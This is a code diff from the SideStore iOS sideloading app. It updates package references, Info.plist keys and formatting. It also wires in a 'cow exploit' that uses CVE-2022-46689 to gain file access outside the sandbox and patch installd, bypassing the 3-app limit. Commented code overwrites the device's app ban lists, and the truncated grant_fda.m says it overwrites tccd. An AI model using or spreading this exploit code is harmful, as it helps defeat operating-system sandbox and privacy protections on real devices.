IPHONEOS_DEPLOYMENT_TARGET = 14.0; IPHONEOS_DEPLOYMENT_TARGET = 14.0;
@@ -3194,8 +3225,6 @@
"$(inherited)", "$(inherited)",
"$(PROJECT_DIR)/Dependencies/fragmentzip", "$(PROJECT_DIR)/Dependencies/fragmentzip",
"$(PROJECT_DIR)/Dependencies/libcurl", "$(PROJECT_DIR)/Dependencies/libcurl",
"$(PROJECT_DIR)/Dependencies/minimuxer/target/aarch64-apple-ios/debug",
"$(PROJECT_DIR)/Dependencies/minimuxer/target/aarch64-apple-ios/release",
); );
PRODUCT_BUNDLE_IDENTIFIER = "$(PRODUCT_BUNDLE_IDENTIFIER)"; PRODUCT_BUNDLE_IDENTIFIER = "$(PRODUCT_BUNDLE_IDENTIFIER)";
PRODUCT_NAME = "$(TARGET_NAME)"; PRODUCT_NAME = "$(TARGET_NAME)";
@@ -3230,8 +3259,6 @@
"$(inherited)", "$(inherited)",
"$(PROJECT_DIR)/Dependencies/fragmentzip", "$(PROJECT_DIR)/Dependencies/fragmentzip",
"$(PROJECT_DIR)/Dependencies/libcurl", "$(PROJECT_DIR)/Dependencies/libcurl",
"$(PROJECT_DIR)/Dependencies/minimuxer/target/aarch64-apple-ios/debug",
"$(PROJECT_DIR)/Dependencies/minimuxer/target/aarch64-apple-ios/release",
); );
PRODUCT_BUNDLE_IDENTIFIER = "$(PRODUCT_BUNDLE_IDENTIFIER)"; PRODUCT_BUNDLE_IDENTIFIER = "$(PRODUCT_BUNDLE_IDENTIFIER)";
PRODUCT_NAME = "$(TARGET_NAME)"; PRODUCT_NAME = "$(TARGET_NAME)";
@@ -3346,6 +3373,14 @@
minimumVersion = 1.1.180; minimumVersion = 1.1.180;
}; };
}; };
99C4EF472978D52400CB538D /* XCRemoteSwiftPackageReference "SemanticVersion" */ = {
isa = XCRemoteSwiftPackageReference;
repositoryURL = "https://github.com/SwiftPackageIndex/SemanticVersion.git";
requirement = {
kind = upToNextMajorVersion;
minimumVersion = 0.3.5;
};
};
B3C395EF284F2DE700DA9E2F /* XCRemoteSwiftPackageReference "KeychainAccess" */ = { B3C395EF284F2DE700DA9E2F /* XCRemoteSwiftPackageReference "KeychainAccess" */ = {
isa = XCRemoteSwiftPackageReference; isa = XCRemoteSwiftPackageReference;
repositoryURL = "https://github.com/kishikawakatsumi/KeychainAccess.git"; repositoryURL = "https://github.com/kishikawakatsumi/KeychainAccess.git";
@@ -3417,6 +3452,16 @@
package = 4879A9602861049C00FC1BBD /* XCRemoteSwiftPackageReference "OpenSSL" */; package = 4879A9602861049C00FC1BBD /* XCRemoteSwiftPackageReference "OpenSSL" */;
productName = OpenSSL; productName = OpenSSL;
}; };
99C4EF4C2979132100CB538D /* SemanticVersion */ = {
isa = XCSwiftPackageProductDependency;
package = 99C4EF472978D52400CB538D /* XCRemoteSwiftPackageReference "SemanticVersion" */;
productName = SemanticVersion;
};
99C4EF50297994E200CB538D /* SemanticVersion */ = {
isa = XCSwiftPackageProductDependency;
package = 99C4EF472978D52400CB538D /* XCRemoteSwiftPackageReference "SemanticVersion" */;
productName = SemanticVersion;
};
B3C395F0284F2DE700DA9E2F /* KeychainAccess */ = { B3C395F0284F2DE700DA9E2F /* KeychainAccess */ = {
isa = XCSwiftPackageProductDependency; isa = XCSwiftPackageProductDependency;
package = B3C395EF284F2DE700DA9E2F /* XCRemoteSwiftPackageReference "KeychainAccess" */; package = B3C395EF284F2DE700DA9E2F /* XCRemoteSwiftPackageReference "KeychainAccess" */;

View File

@@ -63,6 +63,15 @@
"version" : "1.10.1" "version" : "1.10.1"
} }
}, },
{
"identity" : "semanticversion",
"kind" : "remoteSourceControl",
"location" : "https://github.com/SwiftPackageIndex/SemanticVersion.git",
"state" : {
"revision" : "fc670910dc0903cc269b3d0b776cda5703979c4e",
"version" : "0.3.5"
}
},
{ {
"identity" : "sparkle", "identity" : "sparkle",
"kind" : "remoteSourceControl", "kind" : "remoteSourceControl",

View File

@@ -5,4 +5,8 @@
#import "NSAttributedString+Markdown.h" #import "NSAttributedString+Markdown.h"
#import "ALTAppPatcher.h" #import "ALTAppPatcher.h"
#import "grant_fda.h"
#import "vm_unalign_csr.h"
#import "helping_tools.h"
#include "fragmentzip.h" #include "fragmentzip.h"

View File

@@ -1,210 +1,212 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"> <plist version="1.0">
<dict>
<key>ALTAppGroups</key>
<array>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
<string>group.com.SideStore.SideStore</string>
</array>
<key>ALTDeviceID</key>
<string>00008101-000129D63698001E</string>
<key>ALTServerID</key>
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
<key>ALTPairingFile</key>
<string>&lt;insert pairing file here&gt;</string>
<key>ALTAnisetteURL</key>
<string>https://sideloadly.io/anisette/irGb3Quww8zrhgqnzmrx</string>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleDocumentTypes</key>
<array>
<dict>
<key>CFBundleTypeIconFiles</key>
<array/>
<key>CFBundleTypeName</key>
<string>iOS App</string>
<key>CFBundleTypeRole</key>
<string>Viewer</string>
<key>LSHandlerRank</key>
<string>Alternate</string>
<key>LSItemContentTypes</key>
<array>
<string>com.apple.itunes.ipa</string>
</array>
</dict>
</array>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>LSSupportsOpeningDocumentsInPlace</key>
<true/>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore General</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore</string>
<string>sidestore</string>
</array>
</dict>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore Backup</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>sidestore-com.SideStore.SideStore</string>
</array>
</dict>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>INIntentsSupported</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>LSApplicationQueriesSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>altstore-com.rileytestut.AltStore.Beta</string>
<string>altstore-com.rileytestut.Delta</string>
<string>altstore-com.rileytestut.Delta.Beta</string>
<string>altstore-com.rileytestut.Delta.Lite</string>
<string>altstore-com.rileytestut.Delta.Lite.Beta</string>
<string>altstore-com.rileytestut.Clip</string>
<string>altstore-com.rileytestut.Clip.Beta</string>
</array>
<key>LSRequiresIPhoneOS</key>
<true/>
<key>NSBonjourServices</key>
<array>
<string>_altserver._tcp</string>
</array>
<key>NSLocalNetworkUsageDescription</key>
<string>SideStore uses the local network to find and communicate with your device.</string>
<key>NSUserActivityTypes</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>UIApplicationSceneManifest</key>
<dict> <dict>
<key>UIApplicationSupportsMultipleScenes</key> <key>ALTAppGroups</key>
<true/> <array>
<key>UISceneConfigurations</key> <string>group.$(APP_GROUP_IDENTIFIER)</string>
<dict> <string>group.com.SideStore.SideStore</string>
<key>UIWindowSceneSessionRoleApplication</key> </array>
<array> <key>ALTDeviceID</key>
<dict> <string>00008101-000129D63698001E</string>
<key>UILaunchStoryboardName</key> <key>ALTPairingFile</key>
<string>LaunchScreen</string> <string>&lt;insert pairing file here&gt;</string>
<key>UISceneConfigurationName</key> <key>ALTServerID</key>
<string>Default Configuration</string> <string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
<key>UISceneDelegateClassName</key> <key>ALTAnisetteURL</key>
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string> <string>https://ani.sidestore.io</string>
<key>UISceneStoryboardFile</key> <key>CFBundleDevelopmentRegion</key>
<string>Main</string> <string>$(DEVELOPMENT_LANGUAGE)</string>
</dict> <key>CFBundleDocumentTypes</key>
</array> <array>
</dict>
</dict>
<key>UIBackgroundModes</key>
<array>
<string>audio</string>
<string>fetch</string>
<string>remote-notification</string>
</array>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true/>
</dict>
<key>UIMainStoryboardFile</key>
<string>Main</string>
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
<key>UIStatusBarTintParameters</key>
<dict>
<key>UINavigationBar</key>
<dict>
<key>Style</key>
<string>UIBarStyleDefault</string>
<key>Translucent</key>
<false/>
</dict>
</dict>
<key>UISupportedInterfaceOrientations</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
</array>
<key>UISupportedInterfaceOrientations~ipad</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationPortraitUpsideDown</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
<key>UTImportedTypeDeclarations</key>
<array>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>public.data</string>
</array>
<key>UTTypeDescription</key>
<string>iOS App</string>
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>com.apple.itunes.ipa</string>
<key>UTTypeTagSpecification</key>
<dict> <dict>
<key>public.filename-extension</key> <key>CFBundleTypeIconFiles</key>
<string>ipa</string> <array />
</dict> <key>CFBundleTypeName</key>
</dict> <string>iOS App</string>
<dict> <key>CFBundleTypeRole</key>
<key>UTTypeConformsTo</key> <string>Viewer</string>
<array> <key>LSHandlerRank</key>
<string>com.apple.plist</string> <string>Alternate</string>
</array> <key>LSItemContentTypes</key>
<key>UTTypeDescription</key>
<string>Mobile Device Pairing</string>
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>org.sidestore.mobiledevicepairing</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<array> <array>
<string>mobiledevicepairing</string> <string>com.apple.itunes.ipa</string>
</array>
</dict>
</array>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore General</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore</string>
<string>sidestore</string>
</array>
</dict>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore Backup</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>sidestore-com.SideStore.SideStore</string>
</array>
</dict>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>INIntentsSupported</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>LSApplicationQueriesSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>altstore-com.rileytestut.AltStore.Beta</string>
<string>altstore-com.rileytestut.Delta</string>
<string>altstore-com.rileytestut.Delta.Beta</string>
<string>altstore-com.rileytestut.Delta.Lite</string>
<string>altstore-com.rileytestut.Delta.Lite.Beta</string>
<string>altstore-com.rileytestut.Clip</string>
<string>altstore-com.rileytestut.Clip.Beta</string>
</array>
<key>LSRequiresIPhoneOS</key>
<true />
<key>LSSupportsOpeningDocumentsInPlace</key>
<true />
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true />
</dict>
<key>NSAppleMusicUsageDescription</key>
<string>So that we can bypass the 3 app limit and disable revokes.</string>
<key>NSBonjourServices</key>
<array>
<string>_altserver._tcp</string>
</array>
<key>NSLocalNetworkUsageDescription</key>
<string>SideStore uses the local network to find and communicate with your device.</string>
<key>NSUserActivityTypes</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>UIApplicationSceneManifest</key>
<dict>
<key>UIApplicationSupportsMultipleScenes</key>
<true />
<key>UISceneConfigurations</key>
<dict>
<key>UIWindowSceneSessionRoleApplication</key>
<array>
<dict>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>UISceneConfigurationName</key>
<string>Default Configuration</string>
<key>UISceneDelegateClassName</key>
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
<key>UISceneStoryboardFile</key>
<string>Main</string>
</dict>
</array> </array>
</dict> </dict>
</dict> </dict>
</array> <key>UIBackgroundModes</key>
<key>UIFileSharingEnabled</key> <array>
<true/> <string>audio</string>
</dict> <string>fetch</string>
</plist> <string>remote-notification</string>
</array>
<key>UIFileSharingEnabled</key>
<true />
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>UIMainStoryboardFile</key>
<string>Main</string>
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
<key>UIStatusBarTintParameters</key>
<dict>
<key>UINavigationBar</key>
<dict>
<key>Style</key>
<string>UIBarStyleDefault</string>
<key>Translucent</key>
<false />
</dict>
</dict>
<key>UISupportedInterfaceOrientations</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
</array>
<key>UISupportedInterfaceOrientations~ipad</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationPortraitUpsideDown</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
<key>UTImportedTypeDeclarations</key>
<array>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>public.data</string>
</array>
<key>UTTypeDescription</key>
<string>iOS App</string>
<key>UTTypeIconFiles</key>
<array />
<key>UTTypeIdentifier</key>
<string>com.apple.itunes.ipa</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<string>ipa</string>
</dict>
</dict>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>com.apple.plist</string>
</array>
<key>UTTypeDescription</key>
<string>Mobile Device Pairing</string>
<key>UTTypeIconFiles</key>
<array />
<key>UTTypeIdentifier</key>
<string>org.sidestore.mobiledevicepairing</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<array>
<string>mobiledevicepairing</string>
</array>
</dict>
</dict>
</array>
</dict>
</plist>

View File

@@ -6,22 +6,21 @@
// Copyright © 2019 Riley Testut. All rights reserved. // Copyright © 2019 Riley Testut. All rights reserved.
// //
import UIKit
import Roxas
import EmotionalDamage import EmotionalDamage
import minimuxer import minimuxer
import Roxas
import UIKit
import AltStoreCore import AltStoreCore
import UniformTypeIdentifiers import UniformTypeIdentifiers
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate {
{
private var didFinishLaunching = false private var didFinishLaunching = false
private var destinationViewController: UIViewController! private var destinationViewController: UIViewController!
override var launchConditions: [RSTLaunchCondition] { override var launchConditions: [RSTLaunchCondition] {
let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { (completionHandler) in let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { completionHandler in
DatabaseManager.shared.start(completionHandler: completionHandler) DatabaseManager.shared.start(completionHandler: completionHandler)
} }
@@ -36,8 +35,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
return self.children.first return self.children.first
} }
override func viewDidLoad() override func viewDidLoad() {
{
defer { defer {
// Create destinationViewController now so view controllers can register for receiving Notifications. // Create destinationViewController now so view controllers can register for receiving Notifications.
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
@@ -49,12 +47,13 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
super.viewDidAppear(true) super.viewDidAppear(true)
#if !targetEnvironment(simulator) #if !targetEnvironment(simulator)
start_em_proxy(bind_addr: Consts.Proxy.serverURL) start_em_proxy(bind_addr: Consts.Proxy.serverURL)
guard let pf = fetchPairingFile() else { guard let pf = fetchPairingFile() else {
displayError("Device pairing file not found.") self.displayError("Device pairing file not found.")
return return
} }
start_minimuxer_threads(pf)
self.start_minimuxer_threads(pf)
#endif #endif
} }
@@ -70,30 +69,31 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
fm.fileExists(atPath: appResourcePath.path), fm.fileExists(atPath: appResourcePath.path),
let data = fm.contents(atPath: appResourcePath.path), let data = fm.contents(atPath: appResourcePath.path),
let contents = String(data: data, encoding: .utf8), let contents = String(data: data, encoding: .utf8),
!contents.isEmpty { !contents.isEmpty
{
print("Loaded ALTPairingFile from \(appResourcePath.path)") print("Loaded ALTPairingFile from \(appResourcePath.path)")
return contents return contents
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){ } else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here") {
print("Loaded ALTPairingFile from Info.plist") print("Loaded ALTPairingFile from Info.plist")
return plistString return plistString
} else { } else {
// Show an alert explaining the pairing file // Show an alert explaining the pairing file
// Create new Alert // Create new Alert
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://youtu.be/dQw4w9WgXcQ", preferredStyle: .alert) let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/install#pairing-process", preferredStyle: .alert)
// Create OK button with action handler // Create OK button with action handler
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in let ok = UIAlertAction(title: "OK", style: .default, handler: { _ in
// Try to load it from a file picker // Try to load it from a file picker
var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil) var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data)) types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
types.append(.xml) types.append(.xml)
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types) let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
documentPickerController.shouldShowFileExtensions = true // documentPickerController.shouldShowFileExtensions = true
documentPickerController.delegate = self documentPickerController.delegate = self
self.present(documentPickerController, animated: true, completion: nil) self.present(documentPickerController, animated: true, completion: nil)
}) })
//Add OK button to a dialog message // Add OK button to a dialog message
dialogMessage.addAction(ok) dialogMessage.addAction(ok)
// Present Alert to // Present Alert to
@@ -121,7 +121,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
let data1 = try Data(contentsOf: urls[0]) let data1 = try Data(contentsOf: urls[0])
let pairing_string = String(bytes: data1, encoding: .utf8) let pairing_string = String(bytes: data1, encoding: .utf8)
if pairing_string == nil { if pairing_string == nil {
displayError("Unable to read pairing file") self.displayError("Unable to read pairing file")
} }
// Save to a file for next launch // Save to a file for next launch
@@ -131,20 +131,20 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8) try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8)
// Start minimuxer now that we have a file // Start minimuxer now that we have a file
start_minimuxer_threads(pairing_string!) self.start_minimuxer_threads(pairing_string!)
} catch { } catch {
displayError("Unable to read pairing file") self.displayError("Unable to read pairing file")
} }
if (isSecuredURL) { if isSecuredURL {
url.stopAccessingSecurityScopedResource() url.stopAccessingSecurityScopedResource()
} }
controller.dismiss(animated: true, completion: nil) controller.dismiss(animated: true, completion: nil)
} }
func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) { func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) {
displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.") self.displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.")
} }
func start_minimuxer_threads(_ pairing_file: String) { func start_minimuxer_threads(_ pairing_file: String) {
@@ -152,7 +152,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
#if false // Retries #if false // Retries
var res = start_minimuxer(pairing_file: pairing_file) var res = start_minimuxer(pairing_file: pairing_file)
var attempts = 10 var attempts = 10
while (attempts != 0 && res != 0) { while attempts != 0, res != 0 {
print("start_minimuxer `res` != 0, retry #\(attempts)") print("start_minimuxer `res` != 0, retry #\(attempts)")
res = start_minimuxer(pairing_file: pairing_file) res = start_minimuxer(pairing_file: pairing_file)
attempts -= 1 attempts -= 1
@@ -161,52 +161,43 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
let res = start_minimuxer(pairing_file: pairing_file) let res = start_minimuxer(pairing_file: pairing_file)
#endif #endif
if res != 0 { if res != 0 {
displayError("minimuxer failed to start. Incorrect arguments were passed.") self.displayError("minimuxer failed to start. Incorrect arguments were passed.")
} }
auto_mount_dev_image() auto_mount_dev_image()
} }
} }
extension LaunchViewController extension LaunchViewController {
{ override func handleLaunchError(_ error: Error) {
override func handleLaunchError(_ error: Error) do {
{
do
{
throw error throw error
} } catch let error as NSError {
catch let error as NSError
{
let title = error.userInfo[NSLocalizedFailureErrorKey] as? String ?? NSLocalizedString("Unable to Launch SideStore", comment: "") let title = error.userInfo[NSLocalizedFailureErrorKey] as? String ?? NSLocalizedString("Unable to Launch SideStore", comment: "")
let errorDescription: String let errorDescription: String
if #available(iOS 14.5, *) if #available(iOS 14.5, *) {
{
let errorMessages = [error.debugDescription] + error.underlyingErrors.map { ($0 as NSError).debugDescription } let errorMessages = [error.debugDescription] + error.underlyingErrors.map { ($0 as NSError).debugDescription }
errorDescription = errorMessages.joined(separator: "\n\n") errorDescription = errorMessages.joined(separator: "\n\n")
} } else {
else
{
errorDescription = error.debugDescription errorDescription = error.debugDescription
} }
let alertController = UIAlertController(title: title, message: errorDescription, preferredStyle: .alert) let alertController = UIAlertController(title: title, message: errorDescription, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { (action) in alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { _ in
self.handleLaunchConditions() self.handleLaunchConditions()
})) }))
self.present(alertController, animated: true, completion: nil) self.present(alertController, animated: true, completion: nil)
} }
} }
override func finishLaunching() override func finishLaunching() {
{
super.finishLaunching() super.finishLaunching()
guard !self.didFinishLaunching else { return } guard !self.didFinishLaunching else { return }
AppManager.shared.update() AppManager.shared.update()
AppManager.shared.updatePatronsIfNeeded() AppManager.shared.updatePatronsIfNeeded()
PatreonAPI.shared.refreshPatreonAccount() PatreonAPI.shared.refreshPatreonAccount()
// Add view controller as child (rather than presenting modally) // Add view controller as child (rather than presenting modally)
@@ -221,6 +212,37 @@ extension LaunchViewController
self.destinationViewController.view.alpha = 1.0 self.destinationViewController.view.alpha = 1.0
} }
if UserDefaults.standard.enableCowExploit, UserDefaults.standard.isCowExploitSupported {
if let previous_exploit_time = UserDefaults.standard.object(forKey: "cowExploitRanBootTime") {
let last_rantime = previous_exploit_time as! Date
if last_rantime == bootTime() {
return print("exploit has ran this boot - \(last_rantime)")
}
}
self.runExploit()
}
self.didFinishLaunching = true self.didFinishLaunching = true
} }
func runExploit() {
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported {
patch3AppLimit { result in
switch result {
case .success:
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
print("patched sucessfully")
case .failure(let err):
switch err {
case .NoFDA(let msg):
self.displayError("Failed to get full disk access: \(msg)")
return
case .FailedPatchd:
self.displayError("Failed to install patchd.")
return
}
}
}
}
}
} }

View File

@@ -0,0 +1,123 @@
import Foundation
let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
enum PatchError: Error {
case NoFDA(msg: String)
case FailedPatchd
}
enum PatchResult {
case success, failure(PatchError)
}
func patch3AppLimit(completion: @escaping (PatchResult) -> ()) {
grant_fda { error in
if let error = error {
completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)")))
}
// DispatchQueue.global(qos: .userInitiated).async {
print("This is run on a background queue")
if !installdaemon_patch() {
completion(.failure(PatchError.FailedPatchd))
}
// }
completion(.success)
}
}
func bootTime() -> Date? {
var tv = timeval()
var tvSize = MemoryLayout<timeval>.size
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
return nil
}
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
}
enum WhitelistPatchResult {
case success, failure
}
//
// func patchWhiteList() {
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// }
//
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
// #if false
// let documentDirectory = FileManager.default.urls(
// for: .documentDirectory,
// in: .userDomainMask
// )[0].path
//
// let pathToRealTarget = originPath
// let originPath = documentDirectory + originPath
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
// try! origData.write(to: URL(fileURLWithPath: originPath))
// #endif
//
// // open and map original font
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
// if fd == -1 {
// print("Could not open target file")
// return false
// }
// defer { close(fd) }
// // check size of font
// let originalFileSize = lseek(fd, 0, SEEK_END)
// guard originalFileSize >= replacementData.count else {
// print("Original file: \(originalFileSize)")
// print("Replacement file: \(replacementData.count)")
// print("File too big!")
// return false
// }
// lseek(fd, 0, SEEK_SET)
//
// // Map the font we want to overwrite so we can mlock it
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
// if fileMap == MAP_FAILED {
// print("Failed to map")
// return false
// }
// // mlock so the file gets cached in memory
// guard mlock(fileMap, replacementData.count) == 0 else {
// print("Failed to mlock")
// return true
// }
//
// // for every 16k chunk, rewrite
// print(Date())
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
// print(String(format: "%lx", chunkOff))
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
// var overwroteOne = false
// for _ in 0..<2 {
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
// unalign_csr(
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
// )
// }
// if overwriteSucceeded {
// overwroteOne = true
// print("Successfully overwrote!")
// break
// }
// print("try again?!")
// }
// guard overwroteOne else {
// print("Failed to overwrite")
// return false
// }
// }
// print(Date())
// print("Successfully overwrote!")
// return true
// }
//
// func readFile(path: String) -> String? {
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
// }

View File

@@ -0,0 +1,6 @@
#pragma once
@import Foundation;
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
void grant_fda(void (^_Nonnull completion)(NSError* _Nullable));
bool installdaemon_patch(void);

View File

@@ -0,0 +1,617 @@
@import Darwin;
@import Foundation;
@import MachO;
#import <mach-o/fixup-chains.h>
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
// WDBFontOverwrite
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
// Please don't call this code on iOS 14 or below
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
#import "grant_fda.h"
#import "helping_tools.h"
#import "vm_unalign_csr.h"
typedef NSObject* xpc_object_t;
typedef xpc_object_t xpc_connection_t;
typedef void (^xpc_handler_t)(xpc_object_t object);
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
xpc_object_t _Nullable const* values, size_t count);
